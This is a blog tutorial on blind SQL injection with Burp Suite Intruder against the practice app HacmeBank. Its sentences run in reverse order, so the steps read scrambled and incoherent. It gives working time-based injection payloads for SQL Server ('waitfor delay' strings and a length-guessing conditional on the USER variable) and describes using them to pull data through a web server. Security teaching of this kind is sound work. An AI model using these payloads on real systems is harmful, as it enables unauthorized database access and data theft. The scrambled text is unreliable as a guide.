Now we should get the length of the "USER" variable in the SQL server when this Intruder attack is started. One more thing to do is to set the Intruder threads to 1, otherwise when one thread delays the SQL database, the others will be delayed as well and false positives will abound. The SQL question is "How long is the USER variable?" Using a numeric payload, we'll guess 1 through 30, a wide margin indeed. Now that the payload position is marked, we need to define the payload. " It's also necessary to now mark our payload position in Intruder. This time the SQL syntax, " 'if (len(user)= 1) waitfor delay '00:00:30'. Ok, now we'll send our delay injection request over to the Intruder tool. Let's set the HTTP timeout length from 60 seconds to 29 seconds in Burp's timeout options. That's all just great but we want to do better than just pause the database during our login query. The vulnerable web application will pass this SQL command directly to the login query causing a 30-second pause. We can send this request to the Repeater tool and inject the SQL syntax, " ' waitfor delay '0:0:30'- " (omit the double quotes). The first thing we do is identify the vulnerable request: I'll demonstrate some techniques below and use HacmeBank as a target even though errors are completely visible in this purposefully vulnerable app and blind techniques are not necessary. Sometimes this just isn't in the cards for a variety of reasons and you just want to show proof of concept that you can pull back sensitive data through the web server. These tools can do more than just extract database data. SQLMap is a good one but there are a lot and your success will vary.
Many of these are installed and ready to run on the BackTrack 4 R2. There are plenty of SQL Injection tools out there that will work with blind or error-based vulnerabilities. with SQL injection in general still being used to great success in the wild. That is fine because blind SQL injection is still relatively easy to exploit. To take a rough guess, I'd estimate this to be the case at least 8 out of 10 times. These days, the SQL injection flaws that I am finding are largely of the "blind" type.
It's very easy to use a variety of methods to cause errors to display database names, table names, column names, and even row values. SQL injection used to be a lot easier a few years ago when it was less known, web application security was less mature, and errors were often exposed.
0 kommentar(er)
